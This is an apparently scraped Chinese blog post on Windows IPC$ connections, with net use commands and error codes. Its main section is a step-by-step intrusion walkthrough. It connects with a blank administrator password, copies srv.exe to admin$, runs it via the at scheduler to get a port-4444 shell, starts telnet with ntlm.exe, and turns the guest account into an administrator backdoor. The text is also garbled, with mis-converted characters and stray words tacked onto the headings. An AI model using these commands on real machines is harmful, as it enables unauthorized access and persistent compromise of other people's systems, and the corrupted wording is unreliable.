IPC$链接ios
IPC$的概念:windows
IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通讯而开放的
命名管道,能够经过验证用户名和密码得到相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
IPC$的做用:网络
利用IPC$,链接者甚至能够与目标主机创建一个链接,利用这个链接,链接者能够获得目标主机上的目录结构、用户列表等信息。
IPC$的利用条件:spa
1. 139,445端口开启
ipc$链接能够实现远程登录及对默认共享的访问;而139端口的开启表示netbios协议的应用,咱们能够经过
139,445(win2000)端口实现对共享文件/打印机的访问,所以通常来说,ipc$链接是须要139或445端口来支持的.
2. 管理员开启了默认共享
默认共享是为了方便管理员远程管理而默认开启的共享,即全部的逻辑盘(c$,d$,e$……)和系统目录winnt或
windows(admin$),咱们经过ipc$链接能够实现对这些默认共享的访问
IPC$链接失败的缘由:操作系统
1.你的系统不是NT或以上操做系统.
2.对方没有打开ipc$默认共享。
3.不能成功链接目标的139,445端口.
4.命令输入错误.
5.用户名或密码错误.
常见错误号:.net
1.错误号5,拒绝访问 : 极可能你使用的用户不是管理员权限的,先提高权限;
2.错误号51,Windows 没法找到网络路径 : 网络有问题;
3.错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
4.错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方创建了一个ipc$,请删除再连。
6.错误号1326,未知的用户名或错误密码 : 缘由很明显了;
7.错误号1792,试图登陆,可是网络登陆服务没有启动 : 目标NetLogon服务未启动。(链接域控会出现此状况)
8.错误号2242,此用户的密码已通过期 : 目标有账号策略,强制按期要求更改密码。
具体操做命令:code
1.创建IPC$空链接:server
net use \\127.0.0.1\ipc$ "" /user:""
2.创建完整的用户名,密码链接:blog
net use \\127.0.0.1\ipc$ "password" /user:"username"
3.映射路径:进程
net use z: \\127.0.0.1\c$ "密码" /user:"用户名" (便可将对方的c盘映射为本身的z盘,其余盘类推)
4.访问/删除路径:
net use z: \\127.0.0.1\c$ #直接访问 net use c: /del 删除映射的c盘,其余盘类推 net use * /del 删除所有,会有提示要求按y确认
5.删除IPC$链接:
net use \\127.0.0.1\ipc$ /del
6.入侵过程:
(1)
C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址,若是是打算攻击的话,
就能够用这样的命令来与127.0.0.1创建一个链接,由于密码为"空",因此第一个引号处就不用输入,
后面一个双引号里的是用户名,输入administrators,命令便可成功完成。
(2)
C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,
你们还可使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
(3)
C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2019/2/8 上午 11:00,命令成功完成。
(4)
C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,否则你怎么启动啊,呵呵!)
(5)
C:\>net time \\127.0.0.1
再查查到时间没有?若是127.0.0.1 的当前时间是 2019/2/8 上午 11:05,说明srv.exe已经执行,那就准备开始下面的命令。
(6)
C:\>telnet 127.0.0.1 4444
这里会用到Telnet命令吧,注意端口是4444。Telnet默认的是23端口,可是咱们使用的是srv.exe在对方计算机中为咱们创建一个4444端口的Shell。 虽然咱们能够Telnet上去了,可是srv.exe是一次性的,下次登陆还要再激活!因此咱们打算创建一个Telnet服务!这就要用到ntlm了
(7)
C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
(8)
C:\WINNT\system32>ntlm 输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm实际上是让这个程序在对方计算机上运行)。 当出现"DONE"的时候,就说明已经启动正常。而后使用"net start telnet"来开启Telnet服务!
(9)
Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操做就像在DOS上操做同样简单
(10)
为了以防万一,咱们再把guest激活加到管理组 C:\>net user guest /active:yes 将对方的Guest用户激活
(11)
C:\>net user guest 123456
将Guest的密码改成123456,或者你要设定的密码
(12)
C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(若是管理员密码更改,guest账号没改变的话,下次咱们能够用guest再次访问这台计算机)
7.如何防护IPC$入侵:
net share #查看本身的共享 net view \\IP #查看target的共享 netstat -A IP #获取target的user列表
8.netstat延伸使用:
netstat -ano | findstr "port" #查看端口号对应的PID tasklist | findstr "PID" #查看进程号对应的程序
参考链接: